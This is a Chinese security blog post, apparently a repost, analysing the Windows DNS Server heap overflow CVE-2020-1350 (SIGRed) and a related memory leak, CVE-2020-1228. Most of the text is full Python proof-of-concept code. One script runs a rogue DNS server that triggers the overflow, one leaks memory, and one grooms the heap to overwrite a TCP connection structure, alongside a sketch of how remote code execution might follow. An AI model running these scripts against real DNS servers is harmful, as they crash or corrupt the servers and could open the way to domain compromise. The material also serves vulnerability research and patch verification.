标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2948]   作者: 大猪 发表于: [2021-10-22]  [2021-10-22]被用户:大猪 修改过

本文共 [336] 位读者顶过

Windows DNS server从cve-2020-1350到内存泄露

[出自:jiwo.org]

7月14的公布了dns的一个远程rce的补丁, 与此同时, 发现者也发布了一篇相关的利用文章(虽然他们并没有完成利用:) ) 我也研究了下这个漏洞, 从复现poc到探究利用可能性, 花了几天时间, 然后发现了一个内存泄露. 一开始没有及时报, 没想到还是被别人撞了T-T.

原发现者的文章描述的已经足够详细, 本文将简短描述下从它的文章开始, 实现poc构造. 另外分享一下同时存在的内存泄露bug, 以及一些可能的利用思路.(拖延症患者, 内容比较随意, 主要是分享一些思路和想法, 所以比较随意….)

CVE-2020-1350漏洞成因


溢出点在行19, 其中rest_size最大值可以是0xffff-29-namelen(举例, 对于网址v-v.space, 其namelen 为”\x03v-v\x05space\x00”的长度, 即11). 函数Name_PacketNameToCountNameEx读取的最大长度为0xff, 而RR_AllocateEx接受的第一个参数类型是u16类型, 从而在特殊情况下导致了整数溢出.

poc构造思路

虽然知道需要一个ns中转记录, 但是不太会配置dns服务器, 花了一天才弄明白中转的设置.

  1. 服务器管理器->工具->选择DNS->打开DNS管理器
  2. 打开转发器配置界面,配置伪DNS服务器IP地址

    此处的ip就是我们需要发送poc的伪服务器地址.

通过发现者发表的文章SIGRed – Resolving Your Way into Domain Admin: Exploiting a 17 Year-old Bug in Windows DNS Servers中的这个图片

img

可以知道, 触发路径是Tcp_Receiver -> Answer_ProcessMessage -> Recurse_ProcessResponse -> Recurse_CacheMessageResourceRecords -> Wire_CreateRecordFromWire -> SigWireRead.

通过文章内容我们知道, 大意就是让这个dns server 向另一个dns server(记作X)发起请求, 然后 X 回了一个要求用tcp请求连接的回执(因为默认dns查询用的udp), 然后dns server 再次用tcp 向 X 发起请求, X 回了一个包, 就能走到这个路径.

那么首先需要构造一个强制要求tcp的回执, 这里我直接dump了wireshark的一个正常查询v-v.space的回执包, 然后设置回执flag为tcp:

resp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \ "\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \ "\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \ "\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \ "\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68"  def udp_handler():  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  s.bind(('0.0.0.0', 53))  while True:  data, addr = s.recvfrom(2048)  print "received:", data.encode('hex'), "from", addr  ba = bytearray()  ba.extend(map(ord, data+resp))  ba[2] = 0x86 # 设置flags  ba[7] = 1 # 设置PR为1个  data = bytes(ba)  l = s.sendto(data, addr)  print "sent", hex(l), hex(len(data))  print '-++++++++++++++++++++++\n'  s.close()  print 'close udp'   def tcp_handler():  server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  server.bind(('0.0.0.0',53))  server.listen(5)  while True:  conn,addr = server.accept()  print addr  data = conn.recv(1024)  ...  conn.send(new_data) 

image-20201018123422565

image-20201018123504385

之后, 向目标发起9999.v-v.space的dns请求:

import dns.message, dns.query import thread  def doer():  m = dns.message.from_wire("\xce\x2e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00"+"\x049999"+"\x03"+"v-v"+"\x05"+"space"+"\x00\x00\x01\x00\x01") #   mr = dns.query.udp(m, '192.168.170.134') # here is the target dns server.  doer() 

得到如下交互流程:

image-20201018123817112

从交互流程可以看到, 我向192.168.170.134请求了一个dns, 它将请求转到192.168.170.1的dns服务器, 服务器回执了一个带truncated的flag的答复, 然后134用tcp连接到192.168.170.1, 重新发起请求. 这时候我可以回任意的回执.

接下来在函数Recurse_CacheMessageResourceRecords内下断点, 可以看到它a1+0xE06开始, 是我给回执. 至于为什么是+0xe06位置, 可以在函数Tcp_Receiver -> Tcp_ReceiveMessage的recv调用找到.

接下来就是枯燥的逆向Recurse_CacheMessageResourceRecords函数的流程. 此处我不会再讲怎么逆向, 只说一下大致的执行流程. dns有4个类型的请求, questions, answer, authority, additional. 函数按顺序从dns头获取该类型的个数, 然后执行相应的处理.

当处理到answer类型, 且type为46或者24时, 就能进入到Wire_CreateRecordFromWire函数.

image-20201018125504229

所以完整type46的poc如下:

# -*- coding: UTF-8 import socket from impacket.structure import Structure import dns.message, dns.query import threading import struct  resp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \ "\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \ "\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \ "\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \ "\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68"  def getNameLen(data):  s = 0  o = 14  l=ord(data[o:o+1])  while l:  s += l+1  print l  o += 1+l  l = ord(data[o:o+1])  return s+1  def tcp_handler():  server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  server.bind(('0.0.0.0',53))  server.listen(5)  while True:  conn,addr = server.accept()  print(conn,addr)  while True:  data = conn.recv(1024)  if not data:  continue  # print 'recive:',data.encode('hex')  ba = bytearray()  poison = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff\xcc'+'a'*18+'\xc0\x0d'+'\x00'*0xffff  data = data[:18+getNameLen(data)]+poison  ba.extend(map(ord, data[:0xffff+2]))  ba[0] = struct.pack('>H', 0xffff)[0]  ba[1] = struct.pack('>H', 0xffff)[1]  # flags  ba[4] = 0x84  ba[5] = 0  # answer PRs  ba[8] = 0  ba[9] = 1  # other prs  ba[10] = 0  ba[11] = 0  ba[12] = 0  ba[13] = 0   data = bytes(ba)  l = conn.send(data)  print 'sent',hex(l), hex(len(data))  print '---------------------------\n'  conn.close()  break  print 'tcp recv exit'  def udp_handler():  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  s.bind(('0.0.0.0', 53))  while True:  data, addr = s.recvfrom(2048)  print "received:", data.encode('hex'), "from", addr  ba = bytearray()  ba.extend(map(ord, data+resp))  ba[2] = 0x86  ba[7] = 1  data = bytes(ba)  l = s.sendto(data, addr)  print "sent", hex(l), hex(len(data))  print '-++++++++++++++++++++++\n'  s.close()  print 'close udp'   import thread thread.start_new_thread(udp_handler,()) thread.start_new_thread(tcp_handler,())   raw_input('>') 

type 24的可以参见CVE-2020-1350 (SIGRed) - Windows DNS DoS Exploit

内存泄露

内存泄露就很简单了, 在函数Recurse_CacheMessageResourceRecords的循环处理函数Wire_CreateRecordFromWire返回值的时候, 如果在处理下一个answer时中途出现错误, 会直接跳出循环. 虽然它保存了所有的内存指针, 但是并没有调用free操作把所有指针释放掉, 导致最后内存指针丢失, 造成内存泄露. 最后微软给的cve是 CVE-2020-1228 .

image-20200911110523307

以下是内存泄露的poc

# -*- coding: UTF-8 import socket from impacket.structure import Structure import dns.message, dns.query import threading import struct import time  resp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \ "\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \ "\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \ "\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \ "\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68"  def getNameLen(data):  s = 0  o = 14  l=ord(data[o:o+1])  while l:  s += l+1  print l  o += 1+l  l = ord(data[o:o+1])  return s+1  def get_alloc_max_spray(n, n_answer):  if n > 0x7f7:  raise "number is too big"  p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\xe0'+'\xaa'*18+'\xc0\x0d'+'a'*7+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00'  p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x14'+'\x00'*18+'\xc0\x0d'  n_answer[0] = n+1  return p0+p1*(n-1)  def get_alloc_max_and_free(n, n_answer):  n_answer[0] = (n+0x100)/8  if n > 0x10047:  raise "number is too large"  size = 0xff&(n-0x48-0x3b)  p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff'+chr(size)+'a'*18+'\xc0\x0d' # size = 0xffc4+0x3b = 0xffff  return p0  def tcp_handler():  server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  server.bind(('0.0.0.0',53))  server.listen(5)   # totalSize = 0  # size = totalSize-0x48-0  n_answer = [0, 0]  funcs = [  get_alloc_max_spray  ]  steps = [  (0x2ab0*4, funcs[0], 3),  ]  step = 0  step_i = 0  while True:  conn,addr = server.accept()  print addr  while True:  data = conn.recv(1024)  if not data:  continue   print 'step:',step,'step_i', step_i   ba = bytearray()  data = data[:18+getNameLen(data)]+steps[step][1](steps[step][2], n_answer)  ba.extend(map(ord, data))  ba[0] = struct.pack('>H', len(data)-2)[0]  ba[1] = struct.pack('>H', len(data)-2)[1]  # flags  ba[4] = 0x84  ba[5] = 0  # answer PRs  ba[8] = n_answer[0]>>8  ba[9] = n_answer[0]&0xff  # other prs  ba[10] = n_answer[1]>>8  ba[11] = n_answer[1]&0xff  ba[12] = 0  ba[13] = 0   data = bytes(ba)  if step == 4:  thread.start_new_thread(sendAQuery,())  time.sleep(0.001)  l = conn.send(data)  print 'sent',hex(l), hex(len(data))  print '---------------------------\n'  conn.close()  step_i += 1  if steps[step][0] == step_i:  step += 1  step_i = 0  break  print 'tcp recv exit'  def udp_handler():  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  s.bind(('0.0.0.0', 53))  while True:  data, addr = s.recvfrom(2048)  print "received:", data.encode('hex'), "from", addr  ba = bytearray()  ba.extend(map(ord, data+resp))  ba[2] = 0x86  ba[7] = 1  data = bytes(ba)  l = s.sendto(data, addr)  print "sent", hex(l), hex(len(data))  print '-++++++++++++++++++++++\n'  s.close()  print 'close udp'   import thread thread.start_new_thread(udp_handler,()) thread.start_new_thread(tcp_handler,())   raw_input('>') 

cve-2020-1350的利用思路分析

通过分析它的堆分配函数Mem_Alloc可以知道, 当请求的size超过0xa0时会分配传统heap, 否则从它自定义的大堆内选一个被切出来的小块作为结果返回. 而在函数Recurse_CacheMessageResourceRecords内, 它把函数Wire_CreateRecordFromWire返回的heap通过单项链表串联了起来, +0位置指示了下一个结构体的指针.

利用内存泄露bug, 就可以实现完美的内存布局. 而dns内部, 某些size对应的堆并没有被激活lfh, 所以可以和普通的大堆挨在一起.

tcp主结构体溢出思路

  1. 申请非常多0x10000这种大内存, 耗尽空隙
  2. 利用records申请一个0x10000+0x100的内存, 再申请个0x10000的内存(记作T), 那么这两个内存就会挨着. 在处理结束后, 就会留下一个0x100120的洞
  3. 申请一个0x10000的内存, 就会切下一个0x110的洞
  4. 申请一个tcp的query请求, 再申请一个0x100的内存来溢出, 由于它内部一些机制, 最后会把当前tcp的大块0x101f4申请到 T内存 之后, 从而可以溢出到tcp的主结构体

我最后并没有在windows server 2019上找到合适的泄露信息组件, 导致没办法完成利用. 精力有限, 便没有继续深入分析. 希望有兴趣的人可以基于此作更长远的利用.

下面是一个溢出的示例:

# -*- coding: UTF-8 import socket from impacket.structure import Structure import dns.message, dns.query import threading import struct import time  resp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \ "\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \ "\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \ "\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \ "\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68"  def sendAQuery():  m = dns.message.from_wire("\xcc\x2e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00"+"\x049999"+"\x03"+"v-v"+"\x05"+"space"+"\x00\x00\x01\x00\x01")  mr = dns.query.tcp(m, '192.168.170.140')  print "send query"   def getNameLen(data):  s = 0  o = 14  l=ord(data[o:o+1])  while l:  s += l+1  print l  o += 1+l  l = ord(data[o:o+1])  return s+1  def get_alloc_1_c0h_and_ow_c0h(n, n_answer):  p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x2d'+'a'*18+'\xc0\x0d'+'a'*7+'\x10'+'\x39'+'a'*0xf+'\x00' # len 79h  p1 = '\xc0\x0c\x00\x2e\x00\x01\x5c\xf5\x00\xec'+'\xff\x7a'+'a'*18+'\xc0\x0e'+'a'*9+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00' # 87h  n_answer[0] = 2  return p0+p1+'\xcc'*0xff00  def get_alloc_ow_size(size, n_answer):  n_answer[0] = size/8-2  if size > (0xd1+0x48):  raise 'size is too big'   n = 0xff & ((0x10000|(size-0x48))-0xff)  p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff'+chr(n)+'\xaa'*18+'\xc0\x0d'+'a'*7+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00'  fake_header = '\xcc'*16+'\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe'+'a'*(size-0x10)  padsize = 2*(size+0x10)-(0x10+0x4c+0xff-size)-(len(p0)-0x20)  fake_num = (0xffff-0x20-len(p0)-padsize)/(size+0x10)  print 'padsize:%x,fake_num:%x'%(padsize, fake_num)  return p0+'b'*padsize+fake_header*fake_num  def get_alloc_ow_size_without_records(size, n_answer):  n_answer[0] = 2  if size > (0xd1+0x48):  raise 'size is too big'   n = 0xff & ((0x10000|(size-0x48))-0xff)  p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff'+chr(n)+'\xaa'*18+'\xc0\x0d'+'a'*7+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00'  fake_header = '\xcc'*16+'\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe'+'a'*(size-0x10)  padsize = 2*(size+0x10)-(0x10+0x4c+0xff-size)-(len(p0)-0x20)  fake_num = (0xffff-0x20-len(p0)-padsize)/(size+0x10)  print 'padsize:%x,fake_num:%x'%(padsize, fake_num)  return p0+'b'*padsize+fake_header*fake_num  def get_alloc_2_A9h_and_ow(n, n_answer):  n_answer[0] = 3  p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x21'+'\x00'*18+'\xc0\x0d'+'\x00'*7+'\x04'+'\x11'+'\x39'+'\x00'*0x2+'\x00'  p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x14'+'\x00'*18+'\xc0\x0e'  p2 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff\x62'+'\x00'*10+'\x39'+'\x00'*7+'\xc0\x0f'+'\x00'*0x30+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00'  size = 0xb0  padsize = 2*(size+0x10)-(0x10+0x4c+0xff-size)-(len(p2)-0x20)  fake_header = '\xcc'*16+'\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe'+'\x00'*(size-0x10)  fake_num = (0xffff-0x20-len(p0)-len(p1)-len(p2)-padsize)/(size+0x10)  print 'padsize:%x,fake_num:%x'%(padsize, fake_num)  return p0+p1+p2+'b'*padsize+fake_header*fake_num  def get_alloc_C0h_many(number, n_answer):  if number > 0x7fd:  print "number is too big"  return None  # size = (size-0x48-0x3a-0x1c)/2  p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x2d'+'\x00'*18+'\xc0\x0d'+'\x00'*7+'\x10'+'\x28'+'\x00'*0xf+'\x00'  p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x14'+'\x00'*18+'\xc0\x0e'  n_answer[0] = number+1  return p0+p1*(number-1)  def get_alloc_A9h_many(number, n_answer):  if number > 0x7fd:  print "number is too big"  return None  # size = (size-0x48-0x3a-0x1c)/2  p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x21'+'\x00'*18+'\xc0\x0d'+'\x00'*7+'\x04'+'\x11'+'\x39'+'\x00'*0x2+'\x00'  p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x14'+'\x00'*18+'\xc0\x0e'  n_answer[0] = number+1  return p0+p1*(number-1)  def get_alloc_max(n, n_answer):  n_answer[0] = 2  if n > 0x10047 or n < (0x48+0x3b):  raise "number is too large or small"  size = 0xff&(n-0x48-0x3b)  size_h = (n-0x48-0x3b)>>8  p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+chr(size_h)+chr(size)+'a'*18+'\xc0\x0d' # size = 0xffc4+0x3b = 0xffff  return p0  def get_alloc_max_and_free(n, n_answer):  n_answer[0] = (n+0x100)/8  if n > 0x10047:  raise "number is too large"  size = 0xff&(n-0x48-0x3b)  p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff'+chr(size)+'a'*18+'\xc0\x0d' # size = 0xffc4+0x3b = 0xffff  return p0  def tcp_handler():  server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  server.bind(('0.0.0.0',53))  server.listen(5)   # totalSize = 0  # size = totalSize-0x48-0  n_answer = [0]  funcs = [  get_alloc_A9h_many,   get_alloc_ow_size,   get_alloc_max,   get_alloc_2_A9h_and_ow,   get_alloc_max_and_free,   get_alloc_ow_size_without_records  ]  steps = [  (3, funcs[0], 0x700),  # (1, funcs[0], 0x80),  (0x80, funcs[2], 0x10000),  (1, funcs[4], 0x10000),  (1, funcs[2], 0x10000),  (1, funcs[5], 0x100)  ]  step = 0  step_i = 0  while True:  conn,addr = server.accept()  print addr  while True:  print 'step:',step,'step_i', step_i   data = conn.recv(1024)  if not data:  continue  # print 'recive:',data.encode('hex')  ba = bytearray()  # real size is 0xa8+0x48 = 0x100  data = '{:\x00<65537}'.format(data[:18+getNameLen(data)]+steps[step][1](steps[step][2], n_answer))  ba.extend(map(ord, data))  ba[0] = struct.pack('>H', 0xffff)[0]  ba[1] = struct.pack('>H', 0xffff)[1]  # flags  ba[4] = 0x84  ba[5] = 0  # answer PRs  ba[8] = n_answer[0]>>8  ba[9] = n_answer[0]&0xff  # other prs  ba[10] = 0  ba[11] = 0  ba[12] = 0  ba[13] = 0   data = bytes(ba)  if step == 4:  thread.start_new_thread(sendAQuery,())  time.sleep(0.001)  l = conn.send(data)  print 'sent',hex(l), hex(len(data))  print '---------------------------\n'  conn.close()  step_i += 1  if steps[step][0] == step_i:  step += 1  step_i = 0  break  print 'tcp recv exit'  def udp_handler():  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  s.bind(('0.0.0.0', 53))  while True:  data, addr = s.recvfrom(2048)  print "received:", data.encode('hex'), "from", addr  ba = bytearray()  ba.extend(map(ord, data+resp))  ba[2] = 0x86  ba[7] = 1  data = bytes(ba)  l = s.sendto(data, addr)  print "sent", hex(l), hex(len(data))  print '-++++++++++++++++++++++\n'  s.close()  print 'close udp'   import thread thread.start_new_thread(udp_handler,()) thread.start_new_thread(tcp_handler,())   raw_input('>')


其它

以下是溢出的长度计算方式:

注意: 以上所有poc的溢出参数和域名长度以及’9999’密切相关, 如果要修改, 注意更改相应的参数.


评论

暂无
发表评论
 返回顶部 
热度(336)
 关注微信